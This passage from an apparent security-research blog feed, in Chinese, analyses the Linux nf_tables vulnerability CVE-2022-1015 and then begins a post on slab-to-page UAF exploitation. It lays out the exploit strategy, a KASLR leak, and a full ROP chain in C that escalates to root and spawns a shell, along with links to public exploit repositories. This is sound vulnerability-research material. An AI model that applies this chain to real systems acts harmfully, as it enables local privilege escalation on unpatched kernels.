class="function"></span>{</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> reg;</span><br><span class="line"></span><br><span class="line"><span class="comment">// from include/uapi/linux/netfilter/nf_tables.h</span></span><br><span class="line"><span class="comment">// NFT_REG_SIZE = 16 (16 bytes)</span></span><br><span class="line"><span class="comment">// NFT_REG32_SIZE = 4 (4 bytes)</span></span><br><span class="line">reg = ntohl(nla_get_be32(attr));</span><br><span class="line"><span class="keyword">switch</span> (reg) {</span><br><span class="line"><span class="keyword">case</span> NFT_REG_VERDICT...NFT_REG_4:</span><br><span class="line"><span class="keyword">return</span> reg * NFT_REG_SIZE / NFT_REG32_SIZE; </span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line"><span class="keyword">return</span> reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在 nft_parse_register 中,明显没有对 reg 范围做任何限制,传入在 NFT_REG_VERDICT…NFT_REG_4 之外的值,函数最终都会返回 reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00,也就是 reg - 4。</p><p>最终,nft_parse_register_load 传回的 reg 会作为 index 用于访问 nft_do_chain 函数中的 nft_regs 局部变量,导致栈溢出。由于 nft_validate_register_store 及 nft_validate_register_load 两个函数都存在漏洞,因此可以同时越界读和写 nft_regs 之后的栈内存。</p><h1 id="四、EXP思路"><a href="#四、EXP思路" class="headerlink" title="四、EXP思路"></a>四、EXP思路</h1><p>EXP 中存在大量的算术运算计算各种地址位移,所针对的是特定的漏洞及特定的内核映像,在此谈论这些意义不大,因此本文只谈通用的思路。想要更细致研究的话可以参考 EXP 仓库:</p><p>https://github.com/pqlx/CVE-2022-1015</p><p>https://github.com/ysanatomic/CVE-2022-1015</p><p>通常,由于 canary 的存在,memcpy 等函数引发的栈内存越界写会难以利用,因为 memcpy 的起始地址通常是某个局部变量,要覆写到返回地址则必定会覆写 canary。这个漏洞可以利用的原因就是越界读写的起始地址可以通过传入的 reg 值设定,因此可以越过 canary,从 canary 之后、返回地址之前的地址开始覆写。</p><h2 id="4-1-泄露内核地址"><a href="#4-1-泄露内核地址" class="headerlink" title="4.1 泄露内核地址"></a>4.1 泄露内核地址</h2><p>首先通过动态调试寻找栈上的内核地址,再通过 nft_bitwise 这一 expression 越界读取该范围的内存,保存进 nft_regs 的正常范围内存内,这样才能通过 nft_payload_set 将 nft_regs 正常范围内存的内容复制到数据包中,经由用户态的 socket 接收该数据包获取到内核地址,以绕过 KASLR 保护。</p><h2 id="4-2-代码执行"><a href="#4-2-代码执行" class="headerlink" title="4.2 代码执行"></a>4.2 代码执行</h2><p>通过 nft_payload 将通过数据包发送的 ROP 链复制到 nft_regs 的正常范围内存内,再通过 nft_bitwise 越界写以覆盖到返回地址。为了不覆写到 canary,起始地址必须限制在 canary 之后,返回地址之前。</p><p>ROP 链的构造如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> offset = <span class="number">0</span>;</span><br><span class="line"><span class="comment">// clearing interrupts</span></span><br><span class="line">payload[offset++] = kbase + cli_ret;</span><br><span class="line"></span><br><span class="line"><span class="comment">// preparing credentials</span></span><br><span class="line">payload[offset++] = kbase + pop_rdi_ret; </span><br><span class="line">payload[offset++] = <span class="number">0x0</span>; <span class="comment">// first argument of prepare_kernel_cred</span></span><br><span class="line">payload[offset++] = kbase + prepare_kernel_cred;</span><br><span class="line"></span><br><span class="line"><span class="comment">// commiting credentials</span></span><br><span class="line">payload[offset++] = kbase + mov_rdi_rax_ret;</span><br><span class="line">payload[offset++] = kbase + commit_creds;</span><br><span class="line"></span><br><span class="line"><span class="comment">// switching namespaces</span></span><br><span class="line">payload[offset++] = kbase + pop_rdi_ret;</span><br><span class="line">payload[offset++] = process_id;</span><br><span class="line">payload[offset++] = kbase + find_task_by_vpid;</span><br><span class="line">payload[offset++] = kbase + mov_rdi_rax_ret;</span><br><span class="line">payload[offset++]= kbase + pop_rsi_ret;</span><br><span class="line">payload[offset++] = kbase + ini;</span><br><span class="line">payload[offset++] = kbase + switch_task_namespaces;</span><br><span class="line"></span><br><span class="line"><span class="comment">// returning to userland</span></span><br><span class="line">payload[offset++] = kbase + swapgs_restore_regs_and_return_to_usermode;</span><br><span class="line">payload[offset++] = (<span class="keyword">unsigned</span> <span class="keyword">long</span>)spawnShell;</span><br><span class="line">payload[offset++] = user_cs;</span><br><span class="line">payload[offset++] = user_rflags;</span><br><span class="line">payload[offset++] = user_sp;</span><br><span class="line">payload[offset++] = user_ss;</span><br></pre></td></tr></table></figure><p>先清空 interrupt 标志位,屏蔽可屏蔽中断,防止 ROP 被打断。</p><p>之后通过调用 prepare_kernel_cred(0) 准备权限为 root 的进程 cred。prepare_kernel_cred 是内核中专门用来准备进程 cred 的,进程 cred 代表了进程的各种权限。当对 prepare_kernel_cred 传入的参数为 0 时,返回的就是 root 权限的进程 cred。</p><p>再通过调用 switch_task_namespaces(find_task_by_vpid(process_id), &init_nsproxy) 将 EXP 进程的名称空间切换到 init_nsproxy。其中 process_id 为 EXP 进程的 pid,有许多办法可在用户态获取并保存下来,find_task_by_vpid 则会返回指定 pid 的 task_struct,init_nsproxy 为 init 进程也就是第一个进程的名称空间。由于使用 nf_tables 需要切换到新的 user + network 名称空间,所以这一步是必要的。当然,也可以在获得 root 权限后返回到用户态时再切换。</p><p>最后是返回到用户态,通过 swapgs; iret; 这一 gadget。需要在栈上依次准备好 IP、CS、EFLAGS、SP、SS 寄存器的内容,其中,IP 指向可弹出一个 shell 的函数,该函数通过调用 system(“/bin/sh”) 获得 shell。</p><h2 id="4-3-离开-softirq-上下文"><a href="#4-3-离开-softirq-上下文" class="headerlink" title="4.3 离开 softirq 上下文"></a>4.3 离开 softirq 上下文</h2><p>在漏洞发现者的 <a href="https://github.com/pqlx/CVE-2022-1015" target="_blank" rel="noopener">EXP</a> 中,在上一节的清空 interrupt 标志位操作后,还增加了一步离开 softirq 上下文的操作,这是因为在 EXP 作者的利用环境中,nft_do_chain 在 NET_RX_SOFTIRQ 类型 irqsoft 上下文中被调用。这一步不是必须的,但不执行这一步会让系统变得不稳定。</p><p>进入 softirq 的逻辑实现在 do_softirq 函数中:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Macro to invoke __do_softirq on the irq stack. This is only called from</span></span><br><span class="line"><span class="comment"> * task context when bottom halves are about to be reenabled and soft</span></span><br><span class="line"><span class="comment"> * interrupts are pending to be processed. The interrupt stack cannot be in</span></span><br><span class="line"><span class="comment"> * use here.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> do_softirq_own_stack()\</span></span><br><span class="line">{\</span><br><span class="line">__this_cpu_write(hardirq_stack_inuse, <span class="literal">true</span>);\</span><br><span class="line">call_on_irqstack(__do_softirq, ASM_CALL_ARG0);\</span><br><span class="line">__this_cpu_write(hardirq_stack_inuse, <span class="literal">false</span>);\</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">---</span><br><span class="line"></span><br><span class="line"><span class="function">asmlinkage __visible <span class="keyword">void</span> <span class="title">do_softirq</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __u32 pending;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> flags;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (in_interrupt())</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line"> local_irq_save(flags);</span><br><span class="line"></span><br><span class="line"> pending = local_softirq_pending();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (pending && !ksoftirqd_running(pending))</span><br><span class="line"> do_softirq_own_stack();</span><br><span class="line"></span><br><span class="line"> local_irq_restore(flags);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line">asmlinkage __visible <span class="keyword">void</span> __softirq_entry __do_softirq(<span class="keyword">void</span>)</span><br><span class="line">{</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="built_in">end</span> = jiffies + MAX_SOFTIRQ_TIME;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> old_flags = current->flags;</span><br><span class="line"> <span class="keyword">int</span> max_restart = MAX_SOFTIRQ_RESTART;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">softirq_action</span> *<span class="title">h</span>;</span></span><br><span class="line"> <span class="keyword">bool</span> in_hardirq;</span><br><span class="line"> __u32 pending;</span><br><span class="line"> <span class="keyword">int</span> softirq_bit;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Mask out PF_MEMALLOC as the current task context is borrowed for the</span></span><br><span class="line"><span class="comment"> * softirq. A softirq handled, such as network RX, might set PF_MEMALLOC</span></span><br><span class="line"><span class="comment"> * again if the socket is related to swapping.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> current->flags &= ~PF_MEMALLOC;</span><br><span class="line"> pending = local_softirq_pending();</span><br><span class="line"></span><br><span class="line"> softirq_handle_begin();</span><br><span class="line"> in_hardirq = lockdep_softirq_start();</span><br><span class="line"></span><br><span class="line"> account_softirq_enter(current);</span><br><span class="line"></span><br><span class="line"> restart:</span><br><span class="line"> <span class="comment">/* Reset the pending bitmask before enabling irqs */</span></span><br><span class="line"> set_softirq_pending(<span class="number">0</span>);</span><br><span class="line"> </span><br><span class="line"> local_irq_enable();</span><br><span class="line"></span><br><span class="line"> h = softirq_vec;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> ((softirq_bit = ffs(pending))) {</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> vec_nr;</span><br><span class="line"> <span class="keyword">int</span> prev_count;</span><br><span class="line"></span><br><span class="line"> h += softirq_bit - <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> vec_nr = h - softirq_vec;</span><br><span class="line"> prev_count = preempt_count();</span><br><span class="line"></span><br><span class="line"> kstat_incr_softirqs_this_cpu(vec_nr);</span><br><span class="line"></span><br><span class="line"> trace_softirq_entry(vec_nr);</span><br><span class="line"> h->action(h); <span class="comment">// <---------- net_rx_action is called here</span></span><br><span class="line"> trace_softirq_exit(vec_nr);</span><br><span class="line"> <span class="keyword">if</span> (unlikely(prev_count != preempt_count())) {</span><br><span class="line"> pr_err(<span class="string">"huh, entered softirq %u %s %p with preempt_count %08x, exited with %08x?\n"</span>,</span><br><span class="line"> vec_nr, softirq_to_name[vec_nr], h->action,</span><br><span class="line"> prev_count, preempt_count());</span><br><span class="line"> preempt_count_set(prev_count);</span><br><span class="line"> }</span><br><span class="line"> h++;</span><br><span class="line"> pending >>= softirq_bit;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!IS_ENABLED(CONFIG_PREEMPT_RT) &&</span><br><span class="line"> __this_cpu_read(ksoftirqd) == current)</span><br><span class="line"> rcu_softirq_qs();</span><br><span class="line"></span><br><span class="line"> local_irq_disable();</span><br><span class="line"></span><br><span class="line"> pending = local_softirq_pending();</span><br><span class="line"> <span class="keyword">if</span> (pending) {</span><br><span class="line"> <span class="keyword">if</span> (time_before(jiffies, <span class="built_in">end</span>) && !need_resched() &&</span><br><span class="line"> --max_restart)</span><br><span class="line"> <span class="keyword">goto</span> restart;</span><br><span class="line"></span><br><span class="line"> wakeup_softirqd();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> account_softirq_exit(current);</span><br><span class="line"> lockdep_softirq_end(in_hardirq);</span><br><span class="line"> softirq_handle_end();</span><br><span class="line"> current_restore_flags(old_flags, PF_MEMALLOC);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在 soft_irq 处理完毕后,通过 local_irq_disable() 关中断,再通过 softirq_handle_end() 调整 preempt_count,原来的系统调用栈在 do_softirq 函数中通过调用 do_softirq_own_stack 宏恢复,最后重新打开中断。</p><p>由于 softirq_handle_end() 被内联在 __do_softirq() 中,在此 <a href="https://github.com/pqlx/CVE-2022-1015" target="_blank" rel="noopener">EXP</a> 中,作者仅通过 ROP 将控制流引导至 __do_softirq() 调用 softirq_handle_end() 处,调整了 preempt_count,并称可以无副作用地离开 softirq 的上下文,回到进程上下文。</p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/" target="_blank" rel="noopener">How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables</a></p><p><a href="https://ysanatomic.github.io/cve-2022-1015/" target="_blank" rel="noopener">CVE-2022-1015: A validation flaw in Netfilter leading to Local Privilege Escalation</a></p><p><a href="https://ysanatomic.github.io/netfilter_nf_tables/" target="_blank" rel="noopener">Dissecting the Linux Firewall: Introduction to Netfilter’s nf_tables</a></p><p><a href="https://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture" target="_blank" rel="noopener">A Deep Dive into Iptables and Netfilter Architecture</a></p><p><a href="https://arthurchiao.art/blog/conntrack-design-and-implementation/" target="_blank" rel="noopener">Connection Tracking (conntrack): Design and Implementation Inside Linux Kernel</a></p><p><a href="https://www.kernel.org/doc/html/latest/userspace-api/netlink/intro.html" target="_blank" rel="noopener">Introduction to Netlink — The Linux Kernel documentation</a></p><p><a href="https://man7.org/linux/man-pages/man7/netlink.7.html" target="_blank" rel="noopener">netlink(7) - Linux manual page</a></p><p><a href="https://wiki.nftables.org/wiki-nftables/index.php/Portal:DeveloperDocs/nftables_internals" target="_blank" rel="noopener">Portal:DeveloperDocs/nftables internals - nftables wiki</a></p>]]></content>
<summary type="html">
<p>author: 莫兴远 of <a href="https://www.iceswordlab.com/about/" target="_blank" rel="noopener">IceSword Lab</a></p>
<h1 id="一、简介"><a href="#一
</summary>
</entry>
<entry>
<title>Linux 内核利用技巧 Slab UAF to Page UAF</title>
<link href="http://yoursite.com/2023/02/01/slabUaf-to-pageUaf/"/>
<id>http://yoursite.com/2023/02/01/slabUaf-to-pageUaf/</id>
<published>2023-02-01T14:00:00.000Z</published>
<updated>2025-07-16T10:02:19.308Z</updated>
<content type="html"><![CDATA[<p>author: 熊潇 of <a href="https://www.iceswordlab.com/about/" target="_blank" rel="noopener">IceSword Lab</a></p><p>本文研究了内核编译选项 <code>CONFIG_SLAB_MERGE_DEFAULT</code> 对 <code>kmem_cache</code> 分配的影响.</p><p>以及开启该配置的时候, slab UAF 的一种利用方案 (<a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/" target="_blank" rel="noopener">方案来源</a>, 本文内容基于 Linux-5.10.90).</p><p>阅读前, 需要对 slab/slub, Buddy system 有基本的了解.</p><ul><li>Part. 1: 源码分析</li><li>Part. 2: <code>CONFIG_SLAB_MERGE_DEFAULT</code> 配置对比测试</li><li>Part. 3: 跨 slab 的 UAF 利用示例</li></ul><p>Keyword: slab/slub | CONFIG_SLAB_MERGE_DEFAULT | Linux kernel exploit</p><h2 id="Part-1"><a href="#Part-1" class="headerlink" title="Part. 1"></a>Part. 1</h2><p>创建 <code>struct kmem_cache</code> 的时候,有两种情况:</p><ul><li><code>__kmem_cache_alias</code> : 跟现有的共用(mergeable)</li><li><code>create_cache</code> : 创建一个新的</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">kmem_cache_create(..)</span><br><span class="line">kmem_cache_create_usercopy(..)</span><br><span class="line"> <span class="keyword">if</span> (!usersize) <span class="comment">// usersize == 0</span></span><br><span class="line"> s = __kmem_cache_alias(name, <span class="built_in">size</span>, align, flags, ctor); <span class="comment">// s 为 NULL 才会创建新的 slab</span></span><br><span class="line"> <span class="keyword">if</span> (s)</span><br><span class="line"> <span class="keyword">goto</span> out_unlock;</span><br><span class="line">create_cache()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 进入 `__kmem_cache_alias` 看看</span></span><br><span class="line">__kmem_cache_alias(..)</span><br><span class="line"> <span class="comment">// 检查 CONFIG_SLAB_MERGE_DEFAULT 配置;</span></span><br><span class="line"> <span class="comment">// 如果开启了,则通过 sysfs_slab_alias 找到已经创建的相同大小的 slab 作为替代</span></span><br><span class="line">s = find_mergeable(..)</span><br><span class="line">list_for_each_entry_reverse(s, &slab_caches, <span class="built_in">list</span>) {</span><br><span class="line"><span class="keyword">if</span> (slab_unmergeable(s)) <span class="comment">// slab_nomerge 为 true 时 return 1;</span></span><br><span class="line"> <span class="keyword">continue</span>; </span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">return</span> s;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">NULL</span>; <span class="comment">// slab_nomerge 为 true 的时候返回 NULL</span></span><br><span class="line"> <span class="keyword">if</span>(s) </span><br><span class="line"> ... </span><br><span class="line"> sysfs_slab_alias(..)</span><br><span class="line"> <span class="keyword">return</span> s;</span><br><span class="line"></span><br><span class="line"><span class="comment">// CONFIG_SLAB_MERGE_DEFAULT=y -> slab_nomerge == false</span></span><br><span class="line"><span class="comment">// CONFIG_SLAB_MERGE_DEFAULT=n -> slab_nomerge == true</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">bool</span> slab_nomerge = !IS_ENABLED(CONFIG_SLAB_MERGE_DEFAULT);</span><br><span class="line"></span><br><span class="line"><span class="comment">// https://cateee.net/lkddb/web-lkddb/SLAB_MERGE_DEFAULT.html</span></span><br><span class="line"><span class="comment">// CONFIG_SLAB_MERGE_DEFAULT: Allow slab caches to be merged</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// For reduced kernel memory fragmentation, slab caches can be merged </span></span><br><span class="line"><span class="comment">// when they share the same size and other characteristics. </span></span><br><span class="line"><span class="comment">// This carries a risk of kernel heap overflows being able to </span></span><br><span class="line"><span class="comment">// overwrite objects from merged caches (and more easily control cache layout), </span></span><br><span class="line"><span class="comment">// which makes such heap attacks easier to exploit by attackers.</span></span><br></pre></td></tr></table></figure><h2 id="Part-2"><a href="#Part-2" class="headerlink" title="Part.2"></a>Part.2</h2><p>测试 <code>CONFIG_SLAB_MERGE_DEFAULT</code> 的影响</p><p>Host 主机(开启了配置):</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">└─[$] uname -r</span><br><span class="line"><span class="number">5.15</span><span class="number">.0</span><span class="number">-52</span>-generic</span><br><span class="line"></span><br><span class="line">└─[$] cat /boot/<span class="built_in">config</span>-$(uname -r) |grep CONFIG_SLAB_MERGE_DEFAULT </span><br><span class="line">CONFIG_SLAB_MERGE_DEFAULT=y</span><br></pre></td></tr></table></figure><p>VM (未开启配置): </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">➜ ~ uname -r</span><br><span class="line"><span class="number">5.10</span><span class="number">.90</span></span><br><span class="line"></span><br><span class="line">└─[$] cat .<span class="built_in">config</span>|grep CONFIG_SLAB_MERGE_DEFAULT </span><br><span class="line"># CONFIG_SLAB_MERGE_DEFAULT is <span class="keyword">not</span> <span class="built_in">set</span></span><br></pre></td></tr></table></figure><ul><li><p>code</p> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/module.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/kernel.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/init.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/mm.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/slab.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/slub_def.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><linux/sched.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> OBJ_SIZE 256</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> OBJ_NUM ((PAGE_SIZE/OBJ_SIZE) * 3)</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">my_struct</span> {</span></span><br><span class="line"> <span class="keyword">char</span> data[OBJ_SIZE];</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">kmem_cache</span> *<span class="title">my_cachep</span>;</span></span><br><span class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">my_struct</span> *<span class="title">ms</span>[<span class="title">OBJ_NUM</span>];</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> __init <span class="title">km_init</span><span class="params">(<span class="keyword">void</span>)</span></span>{</span><br><span class="line"> <span class="keyword">int</span> i, cpu;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">kmem_cache_cpu</span> *<span class="title">c</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">page</span> *<span class="title">pg</span>;</span></span><br><span class="line"></span><br><span class="line"> pr_info(<span class="string">"Hello\n"</span>);</span><br><span class="line"></span><br><span class="line">my_cachep = kmem_cache_create(<span class="string">"my_struct"</span>,</span><br><span class="line"> <span class="keyword">sizeof</span>(struct my_struct), <span class="number">0</span>,</span><br><span class="line"> SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,</span><br><span class="line"> <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"> pr_info(<span class="string">"my_cachep: %px, %s\n"</span>, my_cachep, my_cachep->name);</span><br><span class="line"> pr_info(<span class="string">"my_cachep.size: %u\n"</span>, my_cachep-><span class="built_in">size</span>);</span><br><span class="line"> pr_info(<span class="string">"my_cachep.object_size: %u\n"</span>, kmem_cache_size(my_cachep));</span><br><span class="line"></span><br><span class="line"> cpu = get_cpu();</span><br><span class="line"> pr_info(<span class="string">"cpu: %d\n"</span>, cpu);</span><br><span class="line"></span><br><span class="line"> c = per_cpu_ptr(my_cachep->cpu_slab, cpu);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(i = <span class="number">0</span>; i<OBJ_NUM; i++){</span><br><span class="line"> ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);</span><br><span class="line"> pg = virt_to_page(ms[i]);</span><br><span class="line"> pr_info(<span class="string">"[%02d] object: %px, page: %px(%px), %d\n"</span>, i, ms[i],</span><br><span class="line"> pg, page_address(pg),</span><br><span class="line"> (<span class="keyword">void</span> *)pg == (<span class="keyword">void</span> *)c->page);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> __exit <span class="title">km_exit</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> i;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>( i = <span class="number">0</span>; i<OBJ_NUM; i++){</span><br><span class="line"> kmem_cache_free(my_cachep, ms[i]);</span><br><span class="line"> }</span><br><span class="line"> kmem_cache_destroy(my_cachep);</span><br><span class="line"> pr_info(<span class="string">"Bye\n"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">module_init(km_init);</span><br><span class="line">module_exit(km_exit);</span><br><span class="line"></span><br><span class="line">MODULE_LICENSE(<span class="string">"GPL"</span>);</span><br><span class="line">MODULE_AUTHOR(<span class="string">"X++D"</span>);</span><br><span class="line">MODULE_DESCRIPTION(<span class="string">"Kernel xxx Module."</span>);</span><br><span 